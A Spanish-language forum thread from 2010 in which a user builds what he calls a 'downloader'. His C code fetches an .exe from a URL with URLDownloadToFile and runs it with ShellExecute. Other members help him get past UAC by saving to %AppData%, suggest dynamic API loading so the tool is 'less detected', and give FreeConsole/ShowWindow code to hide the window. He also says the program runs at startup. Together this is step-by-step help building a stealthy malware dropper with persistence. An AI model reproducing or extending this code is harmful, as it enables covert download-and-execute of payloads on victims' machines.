Página 1 de 2
[duda] URLDownloadToFile problema con windows 7
Publicado: 14 Sep 2010, 16:17
por nuvona04
Buenas gente tengo este codigo que me funciona bien en windows xp pero en seven no va, solo si lo ejecuto con compatibilidad de xp sp2
que debo hacer para que funcione tambien en windows 7
Código: Seleccionar todo
#include <stdio.h>
#include<windows.h>
#pragma comment(lib,"urlmon.lib")
void main (void)
{
// Variable de Url del archivo a descargar
char descarga[]="https://www.url.com/archivo.exe";
// Variable del directorio donde es guardado el archivo descargado
char guardaren[]="C:\\archivo.exe";
if(URLDownloadToFile(NULL,descarga,guardaren,0,NULL) == S_OK)
{
// imprime texto de exito
printf("archivo Descargado Con exito....");
// espera 5 segundos
Sleep(5000);
// ejecuta el nuevo archivo en modo NORMAL
ShellExecute(NULL,"open",guardaren,NULL,NULL,SW_SHOWNORMAL);
dec = true;
}
getchar();
}
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 14 Sep 2010, 18:51
por osnaraus
Ahora la duda la tengo yo.
Cual es realmente el problema??
No descarga el archivo?
o
No funciona el archivo descargado?
Si es la primera opcion ---> da error de ejecucion? o no entra en el "if" ?
Si es la segunda opcion....me surge una pregunta:
El "server" funciona si lo colocas manualmente en la pc?
Si es así, descarga el "server" y comparalo (hex) con el original para ver el "cambio".
(aclaro que ahora estoy sentado frente a un Windows 2000, así que mi posibilidad de hacer pruebas son nulas )
Edito: que es esta linea?
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 14 Sep 2010, 19:14
por DARK_J4V13R
Posible causa podría ser que estas indicando que descargue en la unidad "C" y windows 7 y Vista se podría decir que tienen esa zona protegida por la UAC al igual que otros lugares y entonces los archivos tienen que ser ejecutados como administrador para que se pueda descargar correctamente. Te recomiendo que se descargue en otra zona como %AppData% o %Temp% que no están protegidas por la UAC.
Bendiciones ¡!
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 14 Sep 2010, 20:00
por p0is0n-123
Hola,te voy a hacer unas pequeñas correciones,mas siempre acórdate de que con tal de que te funcione llega,eso es lo importante....
char descarga[]="[Enlace externo eliminado para invitados]"; //No uses Array,es innecesario :)
char guardaren[]="C:\\archivo.exe"; //Lo mismo,el array es innecesario :)
Si queres ver si todo paso bien podes usar Bool y Return...Como?....Pues un simple ejemplo;
bool Ejemplo(int* Ejemplo);
{
if(FileExist("C:\\hola.exe")=1)
{
return TRUE;
}else //Quizas que no este bien,lo hice a ojo...
return FALSE;
} //Acórdate lo importante esque te funcione,no las criticas...
Salu2...
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 14 Sep 2010, 23:28
por osnaraus
Bien, ya ahora en mi casa...es para informar que DARK_J4V13R tenía razon.
El motivo de la "no" descarga del archivo en Windows 7 , es por los permisos de la carpeta.
Si se elije un directorio distinto (no protegido por la UAC), el archivo se descarga correctamente.
Saludos
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 15 Sep 2010, 03:43
por nuvona04
Muchas gracias por todas las respuestas.
Hoy no pude ver el foro en todo el dia por el trabajo
Mañana respondo todo y pruebo lo del uac
Ahora una pregunta, en ves de cadena que debo usar como variable?
Existe una opción en c++ para descargar sin usar el api de windows?
Cual seria?
Me imagino que seria menos detectado verdad?
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 15 Sep 2010, 09:43
por p0is0n-123
Cargas la libreria Urlmon en memoria,obtenienes la Direccion del API En esa Libreria,le pasas los parametros
Salu2...
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 15 Sep 2010, 13:20
por nuvona04
Bueno respondo las dudas
respondo a osnaraus
Ahora la duda la tengo yo.
Cual es realmente el problema??
No descarga el archivo?
o
No funciona el archivo descargado?
1 - el problema es que el archivo no se descarga
2 - esa linea q comentas es un bool que uso para un while pero yo reduje el código por que sabia q el problema estaba ahí
gracias osnaraus
bueno DARK_J4V13R, voy a probar lo del UAC y en un rato te digo, seguramente es eso por que p0is0n-123 ya lo confirmo
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 15 Sep 2010, 17:35
por linkgl
p0is0n-123 escribió:Hola,te voy a hacer unas pequeñas correciones,mas siempre acórdate de que con tal de que te funcione llega,eso es lo importante....
char descarga[]="[Enlace externo eliminado para invitados]"; //No uses Array,es innecesario :)
char guardaren[]="C:\\archivo.exe"; //Lo mismo,el array es innecesario :)
Si queres ver si todo paso bien podes usar Bool y Return...Como?....Pues un simple ejemplo;
bool Ejemplo(int* Ejemplo);
{
if(FileExist("C:\\hola.exe")=1)
{
return TRUE;
}else //Quizas que no este bien,lo hice a ojo...
return FALSE;
} //Acórdate lo importante esque te funcione,no las criticas...
Salu2...
:O amigo p0is0n me parece que estas en un error, es correcto guardar las cadenas "arrays" por ejemplo char hola[5]="hola"; la única diferencia aquí es que nuvona04 no definió la extención de la cadena, si quitas el array vas a tener problemas con los tipos de variables (int, char, char *, const char, etc...)
Y no es necesario para NADA el bool, puedes hacerlo directamente sin usar una funcion ya que FileExist ya devuelve un valor entonces para que devolver dos veces un valor? eso lo implementas directo al código amigo...
Código: Seleccionar todo
if(FileExist("C:\\hola.exe")==1)
{
//continua tu codigo
}
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 02:19
por nuvona04
Muchas gracias a todos, la verdad una gran comunidad.
ya funciono el tema era lo del UAC, así que decidí y aprendí (me costo bastante) obtener la carpeta %AppData% y guardar el fichero ahi.
tengo la aplicación casi lista y si quieren publico el código completo aquí. para que puedan criticar mi primer creación.
lo único que me molesta, por ahora, es que quiero la aplicación oculta, pero cuando la ejecuto se abre por un segundo la consola y se cierra. como se hace para que ni pestañee la pantalla?
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 02:39
por DARK_J4V13R
nuvona04 escribió:lo único que me molesta, por ahora, es que quiero la aplicación oculta, pero cuando la ejecuto se abre por un segundo la consola y se cierra. como se hace para que ni pestañee la pantalla?
Yo conozco dos formas:
- Usando
FreeConsole():
Código: Seleccionar todo
#include <windows.h>
int main()
{
FreeConsole();
Sleep(5000);
MessageBoxA(0, "Viva Cristo", "Prueba", MB_OK);
}
- Usando
ShowWindow():
Código: Seleccionar todo
#include <windows.h>
int main()
{
ShowWindow(GetForegroundWindow(), SW_HIDE);
Sleep(5000);
MessageBoxA(0, "Viva Cristo", "Prueba", MB_OK);
}
Las dos dan el mismo resultado.
Bendiciones ¡!
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 02:47
por nuvona04
- Usando ShowWindow():
esa estoy usando ahora pero sucede que se abre la ventana del cmd y se cierra inmediatamente, pero se ve jajaja soy medio exigente. el caso esta que cuando reinicias la maquina (puse la aplicación en el inicio) si estas mirando la pantalla en ese momento te das cuenta que algo raro paso
Que dices DARK_J4V13R
si uso FreeConsole(): obtendré el efecto deseado (igual ya me pongo a probar)
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 14:08
por nuvona04
DARK_J4V13R
Confirmado me da el mismo efecto con FreeConsole():
voy a seguir investigando
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 14:13
por sod
nuvona04 escribió:DARK_J4V13R
Confirmado me da el mismo efecto con FreeConsole():
voy a seguir investigando
Si es para un downloader (vamos que es eso de fijo xD), no uses modo consola, porque siempre apareceria la consola.
Saludos
Re: [duda] URLDownloadToFile problema con windows 7
Publicado: 16 Sep 2010, 14:20
por nuvona04
avisen que no hay que usar modo consola jajaja
claro que es un downloader como no encontraba uno que controlara la existencia de un server me lo hice (muuuaaaaajajajaja invente la rueda jajaja) me siento como el profesor neurus jajajaja
volviendo al tema, estoy trabajando con vc++ 6 en que modo lo tengo que crear al programa